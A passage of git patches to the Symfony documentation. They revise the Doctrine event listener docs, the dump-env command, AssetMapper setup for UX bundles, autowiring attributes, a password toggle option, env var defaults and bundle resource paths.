-  better performance because they only apply to a single entity class.
+* **Lifecycle callbacks**, they are defined as public methods on the entity classes.
+  They can't use services, so they are intended for **very simple logic** related
+  to a single entity;
+* **Entity listeners**, they are defined as classes with callback methods for the
+  events you want to respond to. They can use services, but they are only called
+  for the entities of a certain class, so they are ideal for **complex event logic
+  related to a single entity**;
+* **Lifecycle listeners**, they are similar to entity listeners but their event
+  methods are called for all entities, not only those of a certain type. They are
+  ideal to **share event logic between entities**.
+
+The performance of each type of listener depends on how many entities applies to:
+lifecycle callbacks are faster than entity listeners, which in turn are faster
+than lifecycle listeners.
 
 This article only explains the basics about Doctrine events when using them
 inside a Symfony application. Read the `official docs about Doctrine events`_
@@ -105,174 +102,6 @@ define a callback for the ``prePersist`` Doctrine event:
     useful information such as the current entity manager (e.g. the ``preUpdate``
     callback receives a ``PreUpdateEventArgs $event`` argument).
 
-.. _doctrine-lifecycle-listener:
-
-Doctrine Lifecycle Listeners
-----------------------------
-
-.. deprecated:: 6.3
-
-    Lifecycle subscribers are deprecated starting from Symfony 6.3 and will be
-    removed in Symfony 7.0. Use lifecycle listeners instead.
-
-Lifecycle listeners are defined as PHP classes that listen to a single Doctrine
-event on all the application entities. For example, suppose that you want to
-update some search index whenever a new entity is persisted in the database. To
-do so, define a listener for the ``postPersist`` Doctrine event::
-
-    // src/EventListener/SearchIndexer.php
-    namespace App\EventListener;
-
-    use App\Entity\Product;
-    use Doctrine\ORM\Event\PostPersistEventArgs;
-
-    class SearchIndexer
-    {
-        // the listener methods receive an argument which gives you access to
-        // both the entity object of the event and the entity manager itself
-        public function postPersist(PostPersistEventArgs $args): void
-        {
-            $entity = $args->getObject();
-
-            // if this listener only applies to certain entity types,
-            // add some code to check the entity type as early as possible
-            if (!$entity instanceof Product) {
-                return;
-            }
-
-            $entityManager = $args->getObjectManager();
-            // ... do something with the Product entity
-        }
-    }
-
-.. note::
-
-    In previous Doctrine versions, instead of ``PostPersistEventArgs``, you had
-    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
-
-Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
-a Doctrine listener in your application::
-
-        // src/EventListener/SearchIndexer.php
-        namespace App\EventListener;
-
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Events;
-
-        #[AsDoctrineListener(event: Events::postPersist, priority: 500, connection: 'default')]
-        class SearchIndexer
-        {
-            // ...
-        }
-
-Alternatively, if you prefer to not use PHP attributes, you must enable the
-listener in the Symfony application by creating a new service for it and
-:doc:`tagging it </service_container/tags>` with the ``doctrine.event_listener`` tag:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        // src/EventListener/SearchIndexer.php
-        namespace App\EventListener;
-
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Event\PostPersistEventArgs;
-
-        #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
-        class SearchIndexer
-        {
-            public function postPersist(PostPersistEventArgs $event): void
-            {
-                // ...
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\EventListener\SearchIndexer:
-                tags:
-                    -
-                        name: 'doctrine.event_listener'
-                        # this is the only required option for the lifecycle listener tag
-                        event: 'postPersist'
-
-                        # listeners can define their priority in case multiple subscribers or listeners are associated
-                        # to the same event (default priority = 0; higher numbers = listener is run earlier)
-                        priority: 500
-
-                        # you can also restrict listeners to a specific Doctrine connection
-                        connection: 'default'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
-            <services>
-                <!-- ... -->
-
-                <!--
-                    * 'event' is the only required option that defines the lifecycle listener
-                    * 'priority': used when multiple subscribers or listeners are associated to the same event
-                    *             (default priority = 0; higher numbers = listener is run earlier)
-                    * 'connection': restricts the listener to a specific Doctrine connection
-                -->
-                <service id="App\EventListener\SearchIndexer">
-                    <tag name="doctrine.event_listener"
-                        event="postPersist"
-                        priority="500"
-                        connection="default"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\EventListener\SearchIndexer;
-
-        return static function (ContainerConfigurator $container): void {
-            $services = $container->services();
-
-            // listeners are applied by default to all Doctrine connections
-            $services->set(SearchIndexer::class)
-                ->tag('doctrine.event_listener', [
-                    // this is the only required option for the lifecycle listener tag
-                    'event' => 'postPersist',
-
-                    // listeners can define their priority in case multiple subscribers or listeners are associated
-                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
-                    'priority' => 500,
-
-                    # you can also restrict listeners to a specific Doctrine connection
-                    'connection' => 'default',
-                ])
-            ;
-        };
-
-.. versionadded:: 2.7.2
-
-    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
-
-.. tip::
-
-    Symfony loads (and instantiates) Doctrine listeners only when the related
-    Doctrine event is actually fired; whereas Doctrine subscribers are always
-    loaded (and instantiated) by Symfony, making them less performant.
-
-.. tip::
-
-    The value of the ``connection`` option can also be a
-    :ref:`configuration parameter <configuration-parameters>`.
-
 Doctrine Entity Listeners
 -------------------------
 
@@ -414,99 +243,103 @@ with the ``doctrine.orm.entity_listener`` tag as follows:
             ;
         };
 
-Doctrine Lifecycle Subscribers
-------------------------------
+.. _doctrine-lifecycle-listener:
 
-Lifecycle subscribers are defined as PHP classes that implement the
-``Doctrine\Common\EventSubscriber`` interface and which listen to one or more
-Doctrine events on all the application entities. For example, suppose that you
-want to log all the database activity. To do so, define a subscriber for the
-``postPersist``, ``postRemove`` and ``postUpdate`` Doctrine events::
+Doctrine Lifecycle Listeners
+----------------------------
 
-    // src/EventListener/DatabaseActivitySubscriber.php
+Lifecycle listeners are defined as PHP classes that listen to a single Doctrine
+event on all the application entities. For example, suppose that you want to
+update some search index whenever a new entity is persisted in the database. To
+do so, define a listener for the ``postPersist`` Doctrine event::
+
+    // src/EventListener/SearchIndexer.php
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
     use Doctrine\ORM\Event\PostPersistEventArgs;
-    use Doctrine\ORM\Event\PostRemoveEventArgs;
-    use Doctrine\ORM\Event\PostUpdateEventArgs;
-    use Doctrine\ORM\Events;
 
-    class DatabaseActivitySubscriber implements EventSubscriberInterface
+    class SearchIndexer
     {
-        // this method can only return the event names; you cannot define a
-        // custom method name to execute when each event triggers
-        public function getSubscribedEvents(): array
-        {
-            return [
-                Events::postPersist,
-                Events::postRemove,
-                Events::postUpdate,
-            ];
-        }
-
-        // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type Post*EventArgs, which gives you access
-        // to both the entity object of the event and the entity manager itself
+        // the listener methods receive an argument which gives you access to
+        // both the entity object of the event and the entity manager itself
         public function postPersist(PostPersistEventArgs $args): void
         {
-            $this->logActivity('persist', $args->getObject());
-        }
-
-        public function postRemove(PostRemoveEventArgs $args): void
-        {
-            $this->logActivity('remove', $args->getObject());
-        }
-
-        public function postUpdate(PostUpdateEventArgs $args): void
-        {
-            $this->logActivity('update', $args->getObject());
-        }
+            $entity = $args->getObject();
 
-        private function logActivity(string $action, mixed $entity): void
-        {
-            // if this subscriber only applies to certain entity types,
+            // if this listener only applies to certain entity types,
             // add some code to check the entity type as early as possible
             if (!$entity instanceof Product) {
                 return;
             }
 
-            // ... get the entity information and log it somehow
+            $entityManager = $args->getObjectManager();
+            // ... do something with the Product entity
         }
     }
 
 .. note::
 
-    In previous Doctrine versions, instead of ``Post*EventArgs`` classes, you had
+    In previous Doctrine versions, instead of ``PostPersistEventArgs``, you had
     to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
 
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
-and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
-work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
-subscriber and :doc:`tag it </service_container/tags>` with ``doctrine.event_subscriber``.
+Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
+a Doctrine listener in your application::
 
-If you need to configure some option of the subscriber (e.g. its priority or
-Doctrine connection to use) you must do that in the manual service configuration:
+        // src/EventListener/SearchIndexer.php
+        namespace App\EventListener;
+
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+        use Doctrine\ORM\Events;
+
+        #[AsDoctrineListener(event: Events::postPersist, priority: 500, connection: 'default')]
+        class SearchIndexer
+        {
+            // ...
+        }
+
+Alternatively, if you prefer to not use PHP attributes, you must enable the
+listener in the Symfony application by creating a new service for it and
+:doc:`tagging it </service_container/tags>` with the ``doctrine.event_listener`` tag:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/EventListener/SearchIndexer.php
+        namespace App\EventListener;
+
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+        use Doctrine\ORM\Event\PostPersistEventArgs;
+
+        #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
+        class SearchIndexer
+        {
+            public function postPersist(PostPersistEventArgs $event): void
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
         services:
             # ...
 
-            App\EventListener\DatabaseActivitySubscriber:
+            App\EventListener\SearchIndexer:
                 tags:
-                    - name: 'doctrine.event_subscriber'
+                    -
+                        name: 'doctrine.event_listener'
+                        # this is the only required option for the lifecycle listener tag
+                        event: 'postPersist'
 
-                      # subscribers can define their priority in case multiple subscribers or listeners are associated
-                      # to the same event (default priority = 0; higher numbers = listener is run earlier)
-                      priority: 500
+                        # listeners can define their priority in case multiple subscribers or listeners are associated
+                        # to the same event (default priority = 0; higher numbers = listener is run earlier)
+                        priority: 500
 
-                      # you can also restrict listeners to a specific Doctrine connection
-                      connection: 'default'
+                        # you can also restrict listeners to a specific Doctrine connection
+                        connection: 'default'
 
     .. code-block:: xml
 
@@ -518,12 +351,16 @@ Doctrine connection to use) you must do that in the manual service configuration
                 <!-- ... -->
 
                 <!--
+                    * 'event' is the only required option that defines the lifecycle listener
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
                 -->
-                <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
+                <service id="App\EventListener\SearchIndexer">
+                    <tag name="doctrine.event_listener"
+                        event="postPersist"
+                        priority="500"
+                        connection="default"/>
                 </service>
             </services>
         </container>
@@ -533,28 +370,52 @@ Doctrine connection to use) you must do that in the manual service configuration
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\EventListener\DatabaseActivitySubscriber;
+        use App\EventListener\SearchIndexer;
 
         return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
-            $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber'[
-                    // subscribers can define their priority in case multiple subscribers or listeners are associated
+            // listeners are applied by default to all Doctrine connections
+            $services->set(SearchIndexer::class)
+                ->tag('doctrine.event_listener', [
+                    // this is the only required option for the lifecycle listener tag
+                    'event' => 'postPersist',
+
+                    // listeners can define their priority in case multiple subscribers or listeners are associated
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
-                    // you can also restrict listeners to a specific Doctrine connection
+                    # you can also restrict listeners to a specific Doctrine connection
                     'connection' => 'default',
                 ])
             ;
         };
 
+.. versionadded:: 2.7.2
+
+    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
+
 .. tip::
 
-    Symfony loads (and instantiates) Doctrine subscribers whenever the
-    application executes; whereas Doctrine listeners are only loaded when the
-    related event is actually fired, making them more performant.
+    Symfony loads (and instantiates) Doctrine listeners only when the related
+    Doctrine event is actually fired; whereas Doctrine subscribers are always
+    loaded (and instantiated) by Symfony, making them less performant.
+
+.. tip::
+
+    The value of the ``connection`` option can also be a
+    :ref:`configuration parameter <configuration-parameters>`.
+
+Doctrine Lifecycle Subscribers
+------------------------------
+
+.. deprecated:: 6.3
+
+    Lifecycle subscribers are deprecated starting from Symfony 6.3.
+
+This was another way of listening to events provided by Doctrine. However, they
+were deprecated in Symfony 6.3 and it's no longer recommended to use them.
+Instead, use any of the other alternatives shown above.
 
 .. _`Doctrine`: https://www.doctrine-project.org/
 .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events

From 448be856c26e5e372fc4f9cc5612cd9d7112313a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 12:07:51 +0200
Subject: [PATCH 5180/7107] Prioritize the dump-env Composer command

---
 configuration.rst | 48 ++++++++++++++++++++++++++++-------------------
 1 file changed, 29 insertions(+), 19 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 70dd76bca27..89a8e047e28 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -831,33 +831,43 @@ In production, the ``.env`` files are also parsed and loaded on each request. So
 the easiest way to define env vars is by creating a ``.env.local`` file on your
 production server(s) with your production values.
 
-To improve performance, you can optionally run the ``dotenv:dump`` command (available
-in :ref:`Symfony Flex <symfony-flex>` 1.2 or later). The command is not registered
-by default, so you must register first in your services:
+To improve performance, you can optionally run the ``dump-env`` Composer command:
 
-.. code-block:: yaml
+.. code-block:: terminal
 
-    # config/services.yaml
-    services:
-        Symfony\Component\Dotenv\Command\DotenvDumpCommand:
-            - '%kernel.project_dir%/.env'
-            - '%kernel.environment%'
+    # parses ALL .env files and dumps their final values to .env.local.php
+    $ composer dump-env prod
 
-In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
-(which is the default):
+.. sidebar:: Dumping Environment Variables without Composer
 
-.. code-block:: yaml
+    If you don't have Composer installed in production, you can use the
+    ``dotenv:dump`` command instead (available in :ref:`Symfony Flex <symfony-flex>`
+    1.2 or later). The command is not registered by default, so you must register
+    first in your services:
 
-    # config/services.yaml
-    services:
-        Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+    .. code-block:: yaml
 
-Then, run the command:
+        # config/services.yaml
+        services:
+            Symfony\Component\Dotenv\Command\DotenvDumpCommand:
+                - '%kernel.project_dir%/.env'
+                - '%kernel.environment%'
 
-.. code-block:: terminal
+    In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
+    (which is the default):
 
-    # parses ALL .env files and dumps their final values to .env.local.php
-    $ php bin/console dotenv:dump prod
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+
+    Then, run the command:
+
+    .. code-block:: terminal
+
+        # parses ALL .env files and dumps their final values to .env.local.php
+        $ php bin/console dotenv:dump prod
 
 After running this command, Symfony will load the ``.env.local.php`` file to
 get the environment variables and will not spend time parsing the ``.env`` files.

From e819aa62ad6d22c4809005b2b0d061c8c2cb306e Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 16 Aug 2023 15:18:03 +0200
Subject: [PATCH 5181/7107] [Frontend] Create a UX bundle: add requirements for
 Asset Mapper

---
 frontend/create_ux_bundle.rst | 76 +++++++++++++++++++++++++++++++++--
 1 file changed, 72 insertions(+), 4 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 12002d10356..7a32d4b9cd6 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -33,7 +33,8 @@ package.json file
 -----------------
 
 Your ``package.json`` file must contain a ``symfony`` config with controllers defined, and also add required packages
-to the ``peerDependencies``:
+to the ``peerDependencies`` and ``importmap`` (the list of packages in ``importmap`` should be the same as the ones
+in ``peerDependencies``):
 
 .. code-block:: json
 
@@ -51,6 +52,10 @@ to the ``peerDependencies``:
                         "dist/bootstrap5-theme.css": true
                     }
                 }
+            },
+            "importmap": {
+                "@hotwired/stimulus": "^3.0.0",
+                "slugify": "^1.6.5"
             }
         },
         "peerDependencies": {
@@ -87,11 +92,28 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
                }
            }
 
-    2. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
+    2. Add the following to your ``babel.config.js`` file (should be located next to your ``package.json`` file):
 
-    3. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
+       .. code-block:: javascript
 
-    4. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
+           module.exports = {
+               presets: [
+                   ['@babel/preset-env', {
+                       "loose": true,
+                       "modules": false
+                   }],
+                   ['@babel/preset-typescript', { allowDeclareFields: true }]
+               ],
+               assumptions: {
+                   superIsCallableConstructor: false,
+               },
+           };
+
+    3. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
+
+    4. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
+
+    5. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
 
 To use your controller in a template (e.g. one defined in your bundle) you can use it like this:
 
@@ -134,3 +156,49 @@ autoimport          List of files to be imported with the controller. Useful e.g
                     The value must be an object with files as keys, and a boolean as value for each file to set
                     whether the file should be imported.
 ==================  ====================================================================================================
+
+Specifics for Asset Mapper
+--------------------------
+
+To make your bundle's assets work with Asset Mapper, you must add the ``importmap`` config like above in your
+``package.json`` file, and prepend some configuration to the container::
+
+    namespace Acme\FeatureBundle;
+
+    use Symfony\Component\AssetMapper\AssetMapperInterface;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeFeatureBundle extends AbstractBundle
+    {
+        public function prependExtension(ContainerConfigurator $configurator, ContainerBuilder $container): void
+        {
+            if (!$this->isAssetMapperAvailable($container)) {
+                return;
+            }
+
+            $container->prependExtensionConfig('framework', [
+                'asset_mapper' => [
+                    'paths' => [
+                        __DIR__ . '/../assets/dist' => '@acme/feature-bundle',
+                    ],
+                ],
+            ]);
+        }
+
+        private function isAssetMapperAvailable(ContainerBuilder $container): bool
+        {
+            if (!interface_exists(AssetMapperInterface::class)) {
+                return false;
+            }
+
+            // check that FrameworkBundle 6.3 or higher is installed
+            $bundlesMetadata = $container->getParameter('kernel.bundles_metadata');
+            if (!isset($bundlesMetadata['FrameworkBundle'])) {
+                return false;
+            }
+
+            return is_file($bundlesMetadata['FrameworkBundle']['path'] . '/Resources/config/asset_mapper.php');
+        }
+    }

From ca42f519fc65bef18fae783cef9aaab38315517b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 17:10:30 +0200
Subject: [PATCH 5182/7107] Tweaks

---
 frontend/create_ux_bundle.rst | 25 ++++++++++++++-----------
 1 file changed, 14 insertions(+), 11 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 7a32d4b9cd6..c48f3e2a66e 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -22,8 +22,8 @@ Your ``composer.json`` file must have the ``symfony-ux`` keyword:
 Assets location
 ---------------
 
-Your assets must be located in one of the following directories, with a ``package.json`` file so Flex can handle it
-during install/update:
+Your assets must be located in one of the following directories, with a
+``package.json`` file so Flex can handle it during install/update:
 
 * ``/assets`` (recommended)
 * ``/Resources/assets``
@@ -32,9 +32,9 @@ during install/update:
 package.json file
 -----------------
 
-Your ``package.json`` file must contain a ``symfony`` config with controllers defined, and also add required packages
-to the ``peerDependencies`` and ``importmap`` (the list of packages in ``importmap`` should be the same as the ones
-in ``peerDependencies``):
+Your ``package.json`` file must contain a ``symfony`` config with controllers defined,
+and also add required packages to the ``peerDependencies`` and ``importmap`` (the list
+of packages in ``importmap`` should be the same as the ones in ``peerDependencies``):
 
 .. code-block:: json
 
@@ -68,8 +68,8 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
 
 .. tip::
 
-    You can either write raw JS in this ``dist/controller.js`` file, or you can e.g. write your controller with
-    TypeScript and transpile it to JavaScript.
+    You can either write raw JS in this ``dist/controller.js`` file, or you can
+    e.g. write your controller with TypeScript and transpile it to JavaScript.
 
     Here is an example to do so:
 
@@ -92,7 +92,8 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
                }
            }
 
-    2. Add the following to your ``babel.config.js`` file (should be located next to your ``package.json`` file):
+    2. Add the following to your ``babel.config.js`` file (should be located next
+       to your ``package.json`` file):
 
        .. code-block:: javascript
 
@@ -113,7 +114,8 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
 
     4. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
 
-    5. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
+    5. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript
+       controller into JavaScript.
 
 To use your controller in a template (e.g. one defined in your bundle) you can use it like this:
 
@@ -160,8 +162,9 @@ autoimport          List of files to be imported with the controller. Useful e.g
 Specifics for Asset Mapper
 --------------------------
 
-To make your bundle's assets work with Asset Mapper, you must add the ``importmap`` config like above in your
-``package.json`` file, and prepend some configuration to the container::
+To make your bundle's assets work with AssetMapper, you must add the ``importmap``
+config like above in your ``package.json`` file, and prepend some configuration
+to the container::
 
     namespace Acme\FeatureBundle;
 

From 8e78f7445ec1bcc9807866518cdc2176591fd76f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 17:12:19 +0200
Subject: [PATCH 5183/7107] Disable a DOCtor-RST rule for a specific file to
 fix CI

---
 .doctor-rst.yaml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 28c04d5143f..f93b377248d 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -82,6 +82,8 @@ exclude_rule_for_file:
       rule_name: replacement
     - path: page_creation.rst
       rule_name: no_php_open_tag_in_code_block_php_directive
+    - path: frontend/create_ux_bundle.rst
+      rule_name: argument_variable_must_match_type
 
 # do not report as violation
 whitelist:

From 02188fb7469c264c097ed80a2c83b1debcec8c72 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Tue, 19 Sep 2023 16:06:48 -0400
Subject: [PATCH 5184/7107] Clarify differences between attributes.

---
 service_container/autowiring.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 483a68c26e9..ef87d3670a6 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -658,7 +658,8 @@ Generate Closures With Autowiring
 ---------------------------------
 
 A **service closure** is an anonymous function that returns a service. This type
-of instanciation is handy when you are dealing with lazy-loading.
+of instanciation is handy when you are dealing with lazy-loading.  It is also
+useful for non-shared service dependencies.
 
 Automatically creating a closure encapsulating the service instanciation can be
 done with the
@@ -716,7 +717,9 @@ In this case, you can use the
 :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute
 to generate a closure with the same signature as a specific method of a service. When
 this closure is called, it will pass all its arguments to the underlying service
-function::
+function.  If the closure needs to be called more than once, the service instance
+is reused for repeated calls.  Unlike a service closure, this will not
+create extra instances of a non-shared service.
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -727,7 +730,7 @@ function::
     {
         public function __construct(
             #[AutowireCallable(service: 'third_party.remote_message_formatter', method: 'format')]
-            \Closure $formatCallable
+            private \Closure $formatCallable
         ) {
         }
 

From ff5cebd0c86b5ce5b42a262221e7f2ffe504e269 Mon Sep 17 00:00:00 2001
From: Felix Eymonot <felix.eymonot@gmail.com>
Date: Sun, 10 Sep 2023 22:15:01 +0200
Subject: [PATCH 5185/7107] docs(passwordType): add options related to UX
 TogglePassword

---
 reference/forms/types/password.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 44097ff6031..d9b0f4cf066 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -69,6 +69,13 @@ object.
             'mapped' => false,
         ]);
 
+``toggle``
+~~~~~~~~~~
+**type**: ``boolean`` **requires**: `symfony/ux-toggle-password`_
+
+Adds "Show"/"Hide" links to the field which toggle the password field to plaintext when clicked.
+See `symfony/ux-toggle-password`_ for more details.
+
 Overridden Options
 ------------------
 
@@ -122,3 +129,5 @@ The default value is ``''`` (the empty string).
 .. include:: /reference/forms/types/options/required.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
+
+.. _`symfony/ux-toggle-password`: https://symfony.com/bundles/ux-toggle-password/current/index.html

From 0a15a43814c302d01f2feeacc6cb0ecdbbfa6bc0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 20 Sep 2023 09:44:53 +0200
Subject: [PATCH 5186/7107] [Configuration] `env()` parameters notation

---
 configuration.rst | 47 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 89a8e047e28..930d909f0c3 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -674,6 +674,53 @@ To define the value of an env var, you have several options:
 * :ref:`Encrypt the value as a secret <configuration-secrets>`;
 * Set the value as a real environment variable in your shell or your web server.
 
+It is possible to define an env var default value by defining a parameter with
+the same name. In the following example, we define a default value for the
+``SECRET`` env var if it has not been defined anywhere:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        parameters:
+            env(SECRET): 'some_secret'
+
+        # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <parameters>
+                <parameter key="env(SECRET)">some_secret</parameter>
+            </parameters>
+
+            <!-- ... -->
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            $container->setParameter('env(SECRET)', 'some_secret');
+
+            // ...
+        };
+
 .. tip::
 
     Some hosts - like Platform.sh - offer easy `utilities to manage env vars`_

From c0665ed776094f05d9cb5d7c6b20c06102670699 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Sep 2023 09:51:18 +0200
Subject: [PATCH 5187/7107] [Messenger] Remove an unneeded tip about Doctrine
 migrations and schema_filter

---
 messenger.rst | 30 ------------------------------
 1 file changed, 30 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 7c980bacea1..7190f063c35 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1459,36 +1459,6 @@ DSN by using the ``table_name`` option:
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
-.. tip::
-
-    To avoid tools like Doctrine Migrations from trying to remove this table because
-    it's not part of your normal schema, you can set the ``schema_filter`` option:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/doctrine.yaml
-            doctrine:
-                dbal:
-                    schema_filter: '~^(?!messenger_messages)~'
-
-        .. code-block:: xml
-
-            <!-- config/packages/doctrine.xml -->
-            <doctrine:dbal schema-filter="~^(?!messenger_messages)~"/>
-
-        .. code-block:: php
-
-            # config/packages/doctrine.php
-            $container->loadFromExtension('doctrine', [
-                'dbal' => [
-                    'schema_filter'  => '~^(?!messenger_messages)~',
-                    // ...
-                ],
-                // ...
-            ]);
-
 .. caution::
 
     The datetime property of the messages stored in the database uses the

From 58311efdb79636ea38bac12f929c31af19d96c4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Sep 2023 12:39:53 +0200
Subject: [PATCH 5188/7107] Reword the contents about bundles' logical paths

---
 bundles/best_practices.rst | 14 +++++---------
 bundles/override.rst       |  8 --------
 components/http_kernel.rst | 24 +++++++++++-------------
 3 files changed, 16 insertions(+), 30 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 82aa3d9415b..26915bdea9b 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -537,16 +537,12 @@ Resources
 ---------
 
 If the bundle references any resources (config files, translation files, etc.),
-don't use physical paths (e.g. ``__DIR__/config/services.xml``) but logical
-paths (e.g. ``@AcmeBlogBundle/config/services.xml``).
+you can use physical paths (e.g. ``__DIR__/config/services.xml``).
 
-The logical paths are required because of the bundle overriding mechanism that
-lets you override any resource/file of any bundle. See :ref:`http-kernel-resource-locator`
-for more details about transforming physical paths into logical paths.
-
-Beware that templates use a simplified version of the logical path shown above.
-For example, an ``index.html.twig`` template located in the ``templates/Default/``
-directory of the AcmeBlogBundle, is referenced as ``@AcmeBlog/Default/index.html.twig``.
